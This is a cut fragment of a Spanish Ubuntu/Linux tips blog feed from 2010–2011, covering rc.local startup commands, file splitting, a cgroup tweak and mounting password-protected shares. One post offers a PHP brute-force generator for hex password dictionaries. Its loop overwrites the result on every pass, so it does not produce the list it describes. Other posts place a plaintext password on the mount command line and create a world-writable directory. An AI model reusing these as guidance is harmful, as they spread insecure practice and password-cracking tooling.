rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-2737047802266538851</id><published>2011-02-02T18:42:00.000+01:00</published><updated>2011-02-02T18:42:06.181+01:00</updated><title type='text'>Ejecutar comandos con sudo al iniciar Ubuntu</title><content type='html'>Anteriormente mencioné como hacer scripts para &lt;b&gt;montar automáticamente las particiones&lt;/b&gt; compartidas en la red. Al comando le llamé amistosamente montar, pero... hay que ejecutarlo todo el rato al iniciar el ordenador, algo que es poco eficiente.&lt;br /&gt;&lt;br /&gt;Por ello mismo investigué y descubrí el script &lt;b&gt;rc.local&lt;/b&gt;.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo gedit /etc/rc.local&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Una vez se nos abra el editor de texto añadiremos antes del exit 0 nuestro comando&lt;/div&gt;&lt;div style="text-align: left;"&gt;Que dando algó así:&lt;/div&gt;&lt;blockquote&gt;montar&lt;br /&gt;firefox&lt;br /&gt;thunderbird&lt;br /&gt;emesene&lt;br /&gt;rythmbox&lt;br /&gt;&lt;b&gt;exit 0&lt;/b&gt;&lt;/blockquote&gt;&lt;div style="text-align: left;"&gt;Guardamos y cuando iniciemos voilá, ya funciona.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-2737047802266538851?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/2737047802266538851/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2011/02/ejecutar-comandos-con-sudo-al-iniciar.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2737047802266538851'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2737047802266538851'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2011/02/ejecutar-comandos-con-sudo-al-iniciar.html' title='Ejecutar comandos con sudo al iniciar Ubuntu'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-6620506311110366736</id><published>2010-12-04T21:05:00.000+01:00</published><updated>2010-12-04T21:05:38.081+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Compartir Archivos'/><category scheme='http://www.blogger.com/atom/ns#' term='Música'/><category scheme='http://www.blogger.com/atom/ns#' term='Terminal'/><title type='text'>Cortar Archivos en trozos ubuntu y renombrarlos.</title><content type='html'>Hoy os voy a hablar de una utilidad bastante importante para mi. El &lt;b&gt;comando split &lt;/b&gt;y un comando que realiza limpieza del comando split.&lt;br /&gt;&lt;br /&gt;Los que ya sepáis inglés averiguaréis que split es &lt;b&gt;cortar&lt;/b&gt;, &lt;b&gt;dividir&lt;/b&gt; o como queráis decirlo, efectivamente, lo popularmente conocido como &lt;b&gt;hacha&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Esta utilidad es de gran utilidad para los &lt;i&gt;uploaders&lt;/i&gt; de rapidshare para cortar los archivos en &lt;b&gt;100 mb&lt;/b&gt; y luego unirlos, o en mi caso, para los amantes de las&lt;b&gt; sesiones &lt;/b&gt;de música electrónica o los &lt;b&gt;conciertos&lt;/b&gt; grabados, para&lt;b&gt; trocear y grabarlos en un CD&lt;/b&gt; sin tener que rompernos el dedo rebobinando en nuestro aparato mp3.&lt;br /&gt;&lt;br /&gt;Para ello ejecutaremos lo siguiente:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;split -b &lt;span style="color: red;"&gt;5&lt;/span&gt;m &lt;span style="color: lime;"&gt;archivo.mp3&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;for file in x?? ; do mv $file `echo $file | sed 's/\(.*\.\)/\1&lt;span style="color: red;"&gt;mp3&lt;/span&gt;/'` ; done&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;En este caso nos dividiría el archivo en trozos de &lt;b&gt;5 megas&lt;/b&gt;. Si quisiéramos que fueran de 100 Megas, tan sólo habría que modificar el 5 por 100 y listo! &lt;br /&gt;&lt;br /&gt;Por último si queremos cambiar el renombre a otro formato que no sea mp3 modificaremos en el segundo comando la palabra mp3 por la que queráis.&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-6620506311110366736?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/6620506311110366736/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/12/cortar-archivos-en-trozos-ubuntu-y.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6620506311110366736'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6620506311110366736'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/12/cortar-archivos-en-trozos-ubuntu-y.html' title='Cortar Archivos en trozos ubuntu y renombrarlos.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-691830980255525063</id><published>2010-11-20T06:03:00.000+01:00</published><updated>2010-11-20T06:03:01.548+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Optimizaciones'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Acelera tu UBUNTU (Mediante el parche del Kernel)</title><content type='html'>Estos días se ha estado debatiendo sobre el maravilloso Kernel que implementa una mejora en el rendimiento sustancial, en cuanto a la velocidad de la interfaz gráfica. Aparentemente el código mejora la velocidad de las prioridades de los procesos en BASH, pero extrañamente esa mejora de los TTY se refleja en una velocidad de la interfaz rapidísima.&lt;br /&gt;&lt;br /&gt;Lo he experimentado yo mismo y el teclado va mucho más fluido y el ratón, el navegador y los programas funcionan mucho más fluidos.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Mientras se prepara el Kernel podemos emplear el parche propuesto en BASH para ir tirando hasta que se integre en nuestra distro.&lt;br /&gt;&lt;br /&gt;Para ello en el terminal ejecutaremos:&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;sudo gedit /etc/rc.local &lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;y pegaremos este código antes del exit 0 &lt;br /&gt;&lt;blockquote&gt;&lt;code&gt;mkdir -p /dev/cgroup/cpu&lt;/code&gt;&lt;pre class="linux-code"&gt;&lt;code&gt;mount -t cgroup cgroup /dev/cgroup/cpu -o cpu&lt;/code&gt;&lt;/pre&gt;&lt;pre class="linux-code"&gt;&lt;code&gt;mkdir -m 0777 /dev/cgroup/cpu/user&lt;/code&gt;&lt;/pre&gt;&lt;pre class="linux-code"&gt;&lt;code&gt;echo "/usr/local/sbin/cgroup_clean" &amp;gt; /dev/cgroup/cpu/release_agent&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;Luego ejecutaremos:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;pre class="linux-code"&gt;&lt;code&gt;sudo chmod +x /etc/rc.local&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;Luego:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;gedit $HOME/.bashrc&lt;/li&gt;&lt;/ul&gt;Añadimos al final:&lt;br /&gt; &lt;br /&gt;&lt;blockquote&gt;&lt;pre class="linux-code"&gt;&lt;code&gt;if [ "$PS1" ] ; then  &lt;br /&gt;   mkdir -p -m 0700 /dev/cgroup/cpu/user/$$ &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;   echo $$ &amp;gt; /dev/cgroup/cpu/user/$$/tasks&lt;br /&gt;   echo "1" &amp;gt; /dev/cgroup/cpu/user/$$/notify_on_release&lt;br /&gt;fi&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;Luego ejecutamos:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;pre class="linux-code"&gt;&lt;code&gt;sudo gedit /usr/local/sbin/cgroup_clean&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Añadimos esto:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre class="source-code"&gt;&lt;code&gt;#!/bin/sh&lt;br /&gt;rmdir /dev/cgroup/cpu/$*&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Luego ejecutamos:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;pre class="linux-code"&gt;&lt;code&gt;sudo chmod +x /usr/local/sbin/cgroup_clean&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Por último ejecutamos:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;pre class="linux-code"&gt;&lt;code&gt;sudo /etc/rc.local&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt; &lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-691830980255525063?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/691830980255525063/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/11/acelera-tu-ubuntu-mediante-el-parche.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/691830980255525063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/691830980255525063'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/11/acelera-tu-ubuntu-mediante-el-parche.html' title='Acelera tu UBUNTU (Mediante el parche del Kernel)'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-3816629080688735338</id><published>2010-10-09T15:56:00.001+02:00</published><updated>2010-10-09T15:58:36.696+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Contraseñas'/><title type='text'>PHP: Generador de palabras por fuerza bruta.</title><content type='html'>Hoy a petición de un amigo he creado un script muy sencillo y que probablemente existan mejores maneras de hacerlo con programación genérica pero oye al que le sirva que lo use.&lt;br /&gt;&lt;br /&gt;En este caso es un generador de todas las palabras del alfabeto Hexadecimal, es decir, del 1 al 0 y de la A a la F. No se diferencia entre mayúsculas y minúsculas pero no es un problema arreglarlo. Tan sólo hay que añadir todos los caracteres que deseemos a la cadena alpha y cambiar la variable longitud por su nuevo valor.&lt;br /&gt;&lt;br /&gt;Por otro lado la longitud de este diccionario será siempre 7 ya que conocemos el número exacto de caracteres. Si no fuera así, existen otros métodos para generar un diccionario completo. Pedírmelo y os lo pondré.&lt;br /&gt;&lt;br /&gt;También añadir que si quieres que tenga 10 caracteres de longitud tendrás que añadir 3 for y concatenar alpha al valor de sus contadores.&lt;br /&gt;&lt;br /&gt;Por último, el resultado será guardado en la variable $token.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;b&gt;&lt;span style="color: #6aa84f;"&gt;&amp;lt;?php&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;$token = "";&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;$longitud = 16;&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;$alfa = "1234567890abcdef";&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;for ($caracter1 = 0; $caracter1&amp;lt; $longitud; $caracter1++){&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for ($caracter2=0; $caracter2&amp;lt; $longitud; $caracter2++){&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; for ($caracter3=0; $caracter3&amp;lt; $longitud; $caracter3++){&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; for ($caracter4=0; $caracter4&amp;lt; $longitud; $caracter4++){&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; for ($caracter5=0; $caracter5&amp;lt; $longitud; $caracter5++){&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; for ($caracter6=0; $caracter6&amp;lt; $longitud; $caracter6++){&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; for ($caracter7=0; $caracter7&amp;lt; $longitud; $caracter7++){&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $token&amp;nbsp; = $alfa[$caracter1].$alfa[$caracter2].$alfa[$caracter3].$alfa[$caracter4].$alfa[$caracter5].$alfa[$caracter6].$alfa[$caracter7];&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;}&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;?&amp;gt;&lt;/span&gt;&lt;/b&gt; &lt;/div&gt;&lt;br /&gt;Espero que os sirva de utilidad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-3816629080688735338?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/3816629080688735338/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/10/php-generador-de-palabras-por-fuerza.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3816629080688735338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3816629080688735338'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/10/php-generador-de-palabras-por-fuerza.html' title='PHP: Generador de palabras por fuerza bruta.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-3091219568448744555</id><published>2010-09-03T05:16:00.001+02:00</published><updated>2010-09-03T05:17:56.068+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Historias'/><category scheme='http://www.blogger.com/atom/ns#' term='Programacion'/><title type='text'>Historias de Software: Términos pastafarianos.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/TIBnbPfPdZI/AAAAAAAAAes/5bwxv8haqrQ/s1600/FSM.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/TIBnbPfPdZI/AAAAAAAAAes/5bwxv8haqrQ/s320/FSM.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;La entrada de hoy, va dedicada a todos los que hemos tenido que &lt;b&gt;mantener aplicaciones&lt;/b&gt; desarrolladas por otros desarrolladores en las que como siempre, la estructura está mal, faltan los comentarios y como no, un clásico, ha sido llevada a cabo sin planificación ninguna y debemos descifrarlo sobre la marcha.&lt;br /&gt;&lt;br /&gt;Los que pensabais que esta era la típica entrada sobre el &lt;b&gt;F&lt;/b&gt;lying &lt;b&gt;S&lt;/b&gt;paguetti &lt;b&gt;M&lt;/b&gt;onster, &lt;b&gt;FSM&lt;/b&gt;, vais bastante mal, en cualquier caso en el mundo de la programación existe unos &lt;b&gt;términos&lt;/b&gt; &lt;b&gt;clásicos&lt;/b&gt; que no se deberían perder y que aquí procedo a explicar.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Código espagueti&lt;/b&gt;: Sin duda es el más famoso, &lt;b&gt;difícil&lt;/b&gt; de entender, difícil de mantener y como no, &lt;b&gt;complicado&lt;/b&gt;. Es un término bastante degradante, si alguien comenta que tu código es espagueti, prepararte, tu &lt;b&gt;ego de programador&lt;/b&gt; ha sido atacado y tendrás que defenderlo.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Código lasaña&lt;/b&gt;: Quizá uno de los códigos que más me gusten, &lt;b&gt;sencillo&lt;/b&gt;, muy &lt;b&gt;estructurado&lt;/b&gt; y &lt;b&gt;analítico&lt;/b&gt;. Algunos pensaréis que es el más fácil de mantener pero no es así ya que resulta bastante complicado mejorar lo inmejorable y sobre todo razonar como su autor original, es como jugar una partida de &lt;b&gt;Jenga&lt;/b&gt;, hay que tener mucho cuidado.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Código ravioli&lt;/b&gt;: Teóricamente este es el mejor código para mantener, todo es &lt;b&gt;sencillo&lt;/b&gt; y esta &lt;b&gt;empaquetado&lt;/b&gt; en pequeños &lt;b&gt;componentes&lt;/b&gt; muy &lt;b&gt;específicos&lt;/b&gt;. Por todo esto modificar alguno de los paquetes u objetos no tendrá cambios significativos en el resto del programa.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ya sabéis programadores / mantenedores de aplicaciones, mucha paciencia y a veces es mejor &lt;b&gt;reescribir todo el código&lt;/b&gt; que descifrar jeroglíficos.&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-3091219568448744555?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/3091219568448744555/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/09/historias-de-software-terminos.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3091219568448744555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3091219568448744555'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/09/historias-de-software-terminos.html' title='Historias de Software: Términos pastafarianos.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/TIBnbPfPdZI/AAAAAAAAAes/5bwxv8haqrQ/s72-c/FSM.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-8006703017494379640</id><published>2010-08-23T03:23:00.001+02:00</published><updated>2010-08-23T03:23:43.997+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Redes'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Linux: Montar carpetas compartidas con usuario y contraseña</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/THHNZuijJrI/AAAAAAAAAec/PAbk5FN885s/s1600/acceso.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/THHNZuijJrI/AAAAAAAAAec/PAbk5FN885s/s320/acceso.jpeg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Hemos hablado muchas veces de como montar carpetas compartidas en otros equipos de la red y poder utilizarlas a nuestro antojo en el pc.&lt;br /&gt;&lt;br /&gt;En cualquier caso, para completar esta información, comentaremos como montar carpetas compartidas que requieran de un usuario y una contraseña para su acceso.&lt;br /&gt;&lt;br /&gt;Para ello mismo emplearemos el comando mount y le añadiremos unos parámetros adicionales ejecutando el siguiente comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;span style="font-size: xx-small;"&gt;&lt;b&gt;sudo mount //&lt;span style="color: red;"&gt;IPServidor&lt;/span&gt;/&lt;span style="color: orange;"&gt;Carpeta&lt;/span&gt; /media/&lt;span style="color: orange;"&gt;Carpeta&lt;/span&gt;&amp;nbsp; -o username=&lt;span style="color: lime;"&gt;usuario&lt;/span&gt;,password=&lt;span style="color: lime;"&gt;contraseña&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;Hay que modificar &lt;b&gt;IPServidor&lt;/b&gt; por la IP del equipo, por ejemplo, 192.168.1.130. La carpeta también hay que modificarla por el nombre de la carpeta compartida y por último el usuario y la contraseña por unos correctos que os permitan el acceso.&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-8006703017494379640?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/8006703017494379640/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/08/linux-montar-carpetas-compartidas-con.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/8006703017494379640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/8006703017494379640'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/08/linux-montar-carpetas-compartidas-con.html' title='Linux: Montar carpetas compartidas con usuario y contraseña'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_adYnwobHI2E/THHNZuijJrI/AAAAAAAAAec/PAbk5FN885s/s72-c/acceso.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-514998138159719975</id><published>2010-05-03T17:05:00.002+02:00</published><updated>2010-05-03T18:38:06.018+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='FAIL'/><category scheme='http://www.blogger.com/atom/ns#' term='Privacidad'/><title type='text'>Reporteros Cuatro - Privacidad en Internet y FAIL</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S97l2YPjvRI/AAAAAAAAAeU/mb9IMc9zZPM/s1600/facepalm.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S97l2YPjvRI/AAAAAAAAAeU/mb9IMc9zZPM/s320/facepalm.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;A pesar de que ya había oído hablar de este documental un compañero me pasó el &lt;a href="http://play.cuatro.com/on-line/#/portada/reporteros-cuatro-rec/ver/estamos-desnudos-en-internet"&gt;enlace &lt;/a&gt;y me puse a visualizarlo. Por lo visto en el vídeo &lt;b&gt;salían un par de expertos en seguridad,&lt;/b&gt; enseñando el uso de&amp;nbsp; cain y sub7.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;El caso es que antes de llegar a esta parte, entrevistan al jefe de la Guardia Civil de delitos informáticos que muy amablemente les pide que no muestren a los trabajadores aunque, eso sí, le permite entrar en el almacén de decomisos donde en el minuto 24:57 si lo paramos podemos ver:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: 